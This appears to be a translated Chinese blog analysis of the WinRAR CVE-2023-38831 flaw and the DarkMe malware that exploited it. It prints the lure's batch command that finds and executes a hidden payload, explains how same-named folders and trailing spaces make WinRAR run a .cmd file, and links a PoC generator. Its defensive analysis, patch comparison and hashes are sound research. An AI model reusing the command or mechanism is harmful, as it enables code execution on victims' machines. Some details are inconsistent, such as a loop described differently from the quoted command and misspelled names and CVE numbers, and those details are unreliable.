CVE:CVE-2023-38831:新的 WinRar 漏洞
当用户尝试查看 ZIP 存档中的良性文件时远程执行代码。出现此问题的原因是:a) ZIP 存档可能包含良性文件(例如普通 .JPG 文件)以及与良性文件同名的文件夹,并且在尝试期间处理可能包含可执行内容的文件夹内容仅访问良性文件。
易受攻击的产品版本:6.22 =>
DarkMe 恶意软件利用关键的 WinRAR 漏洞
CVE-2023-38831 已成为今年的高度严重漏洞。它的重要性在于它是在广泛使用的软件应用程序 WinRAR 中发现的,随后被 Evilnum 高级持续威胁 APT 组织利用。这种利用使得 DarkMe 恶意软件能够执行一系列恶意活动,旨在窃取敏感信息并对各公司造成财务损失。
DarkMe 的作案手法主要涉及部署鱼叉式网络钓鱼电子邮件,这些电子邮件专门针对欧洲国家,特别是与交易和股票相关的在线论坛。这些攻击的最终目标是从毫无戒心的受害者那里窃取金融资产和交易数据。
以下部分将概述 DarkMe 作为恶意软件实体的情况,阐明其更广泛的操作方面。”
DarkMe 恶意软件快速概述
该恶意软件有多个版本,但Group-IB发现的版本是通过精心设计的存档文件(本次分析中的 CVE)提供的,该恶意软件的目标是有兴趣进行交易以下载 RAR 文件作为策略的表单。
下载文件并尝试查看文件结构后,您将能够找到以下文件和文件夹。
下载文件并尝试查看文件结构后,您将能够找到以下文件和该结构由两个组件组成:名为Screenshot_050723.jpg的文件夹,其中包含同名文件Screenshot_050723.jpg和Trading_strategies_2023.pdf。此外,该文件夹中还有一个名为Screenshot_050723.jpg.cmd的文件和一个名为weakicons.com的大文件。
打开文件Secretshot_050723.jpg .cmd。在任何文本编辑器中,您都会在文件中发现以下可疑命令。
此命令打开最小化的命令提示符窗口,导航到系统的临时目录,在所有子目录中搜索名为weakicons.com的文件,并尝试使用 WMIC 将每个发现的文件作为独立进程运行。处理完所有匹配的文件后,它会终止命令提示符窗口。文件夹。
start /min cmd.exe /k “cd %TEMP% && for /R %TEMP% %%G in weakicons.com do WMIC process call create '%%G' & exit”
提供的命令是 Windows 批处理命令,旨在在命令提示符窗口中执行一系列操作。
它首先使用启动命令打开一个新的命令提示符窗口,指示它以最小化方式启动并在执行后保持打开状态。在这个新窗口中,执行了多个命令。
首先,cd %TEMP% 命令将当前目录更改为系统的临时目录,通常存储在%TEMP% 环境变量中。这确保了后续操作在此临时位置进行。
for循环是批处理脚本中的一种控制结构,用于在临时目录下的所有子目录中搜索名为weakicons.com的文件。循环的 dir /b /s “weakicons.com” 部分使用带有/ b 选项的 dir 命令仅列出文件名,并使用/s选项在子目录中递归搜索。该循环迭代匹配文件的列表,对于找到的每个文件,它尝试使用 WMIC 和WMIC 进程调用 create“%%~G”命令创建一个新进程。这有效地尝试将每个找到的文件作为单独的进程执行。
&符号用作命令分隔符,允许在一行上顺序执行多个命令。在本例中,它用于连接 WMIC 命令和exit命令,一旦所有文件处理完成,该命令将关闭命令提示符窗口。
Darkme恶意软件的执行流程:
scc.exe进程负责加载两个 Windows ActiveX 文件,即n1.ocx和n2.ocx。)
这些 ActiveX 文件有多种用途,包括用作嵌入式系统中的动态链接器或组件。
此外,它们在创建注册表项参数方面很有用,这些参数在建立持久性和存储执行第二阶段操作所需的数据方面发挥着至关重要的作用。
随后,使用rundll32.exe实用程序建立与C2服务器的连接,以方便DarkMe木马恶意软件的下载和部署。
概念证明
恶意软件 zip 文件对于调试而言太大,因此我使用此脚本创建了一个 PoC。
这种方法利用该位置可用的漏洞,简化并提高了调试的清晰度。https://github.com/HDCE-inc/CVE-2023-38831
使用上述 Python 漏洞成功创建文件后,您可以执行该漏洞,如下面的视频所示。
CVE 根本原因:CVE-2023-38831 WinRar 漏洞
我们开始调试应用程序,同时触发漏洞以查明根本原因。在这个过程中,我发现双击ReadMe.txt文件后,调用了一个名为winrar.7FF6CE909948的函数。该函数对文件之间的名称进行比较,接受三个参数:clicked_file_name、the_another_file、flag和flag,即下图中 的r8 :
winrar.7FF6CE909948函数的反编译代码如下:
在查看比较函数时,我们会意识到该漏洞的根本原因是因为 r8 标志设置为6,这意味着代码将使用winrar.7FF6CE909948函数使用部件号对两个文件名进行比较上图中的 2 ,即文件名“ ReadMe.txt”和“ ReadMe.txt //ReadMe.txt.cmd”的else条件由于该函数不比较整个名称,因此返回true,因为它比较文件具有目录名称,并且不包含该目录内的文件。例如,如果我们有两个名为“ HackThePlanet.txt” 和HackThePlanet.txt /hack.txt.cmd的文件,该函数将返回 true 并将该文件添加到临时文件夹中以提取并执行。在我们的例子中,我们希望将其传递给 ShellExecuteW,稍后我们将介绍它
然后,WinRAR 将通过调用winrar.7FF77F736730 函数来创建文件。该函数的第一部分是检查文件名末尾是否有空格
随后,它调用winrar.7FF77F736730函数来获取加载文件路径中的最后一个字符。然后它验证该字符是否对应于0x2E 。或 0x20 空间,如果是,该函数将删除它们。它调用CreateFile 函数并提供单击的文件作为参数,在消除文件名中的任何空格后将其保存到临时目录中。接下来,它再次调用 .cmd的脚本文件的恶意文件,如下图所示。
我们可以看到,临时目录中有两个文件:第一个文件是ReadMe.txt,文件末尾没有空格,第二个文件是ReadMe.txt .cmd,它的 cmd 扩展名前有一个空格。Windows 将文件的最后部分视为当前或实际扩展名。
随后,它启动 ShellExecuteExW 函数,这是一个 Windows API 函数,负责根据文件的扩展名执行文件。它提供文件路径,包括空格“ ReadMe.txt ”,该路径不按原样位于临时文件中。因此,该函数会在目录中搜索与该特定名称匹配的任何文件名。
在本例中,它找到脚本文件并继续执行它,从而演示计算器打开作为执行“ ReadMe.txt .cmd”的PoC部分的一部分
补丁比较
打补丁之前
在对易受攻击的版本和已修补版本之间执行补丁比较时,在确定比较行为1和2的标志中识别出这些函数之间的差异。这个特定问题已在修补版本中得到解决,方法是在创建临时文件之前设置此标志,以确保不会加载多个文件,如下所示BinDiff:
总结一下这个分析,当用户单击 WinRAR 文件时,它会调用Compre_string函数来比较文件名和目录名的字符长度。
如果文件和目录匹配,WinRAR 将解压并执行目录文件,其中包括“ReadMe.txt .cmd”文件。它还尝试处理文件名末尾的空格并将其删除,其中还包括“ReadMe.txt”文件中扩展名末尾的空格。然后,WinRAR 创建一个临时目录,该目录不包含“ReadMe.txt”文件末尾的空格和点,并保留“ReadMe.txt .cmd”文件,因为空格不在该文件的末尾。然后,应用程序将文件传递给ShellExecuteW。它传递带有空格的单击文件,该文件已在临时目录中删除。因此,ShellExecuteW在临时目录中找到唯一一个带有空格的文件“ReadMe.txt .cmd”,并且 ShellExecuteW 执行该文件,从而导致该漏洞。
打补丁后
应用程序多次比较这些文件,以再次检查文件夹名称和文件夹内的文件,使用条件1 ,因为它在winrar中。7FF6CE909948 在使用条件2后反编译了该函数的代码,如上所述。这不会导致匹配,因此应用程序将不会提取或执行。从汇编指令中可以看出,它将值2参数传递给r8 标志,基于此,比较函数仅在不匹配时才提取并执行
如何缓解 WinRAR 漏洞:CVE-2023-3883
我们建议在应用安全补丁 6.23 后将 WinRAR 升级到最新版本。
检测
文件哈希值
c7f932111eb3adc6f6efe7a157209eb72c6bcd8ce172d5ce086feb5d01d73c80
fce580fbf2e151b5173d0c2e4548e5c436b10c8687e6700fa5192bd2aa9a9d41 fa01
9c79d5628880ae4df4b9a305099a875ce72cfb5ae023cfe9aec1efc278eb
6fa76fe51ddd6e70250f85dfded8165184bbcdf1ff4ad6a171265599154e8ec6
最后的想法
在整个分析过程中,确定单一指标是一项挑战,导致许多研究人员感到困惑。
最初,重点是负责删除空格的函数,这似乎是根本原因。
然而,在进行补丁比较后,很明显,问题在于应用程序在将文件传输到ShellExecuteExW之前如何管理文件名中的空格。
这一发现虽然不是立即显而易见,但却揭示了这个问题。理解这一漏洞的复杂流程需要时间,但它为逆向工程领域提供了宝贵的见解。
参考
https://nsfocusglobal.com/operation-darkcasino-in-depth-analysis-of-attacks-by-apt-group-evilnum-part-1/
https://nsfocusglobal.com/operation-darkcasino-in-depth-analysis-of-attacks-by-apt-group-evilnum-part-2/
https://www.group-ib.com/blog/cve-2023-38831-winrar-zero-day/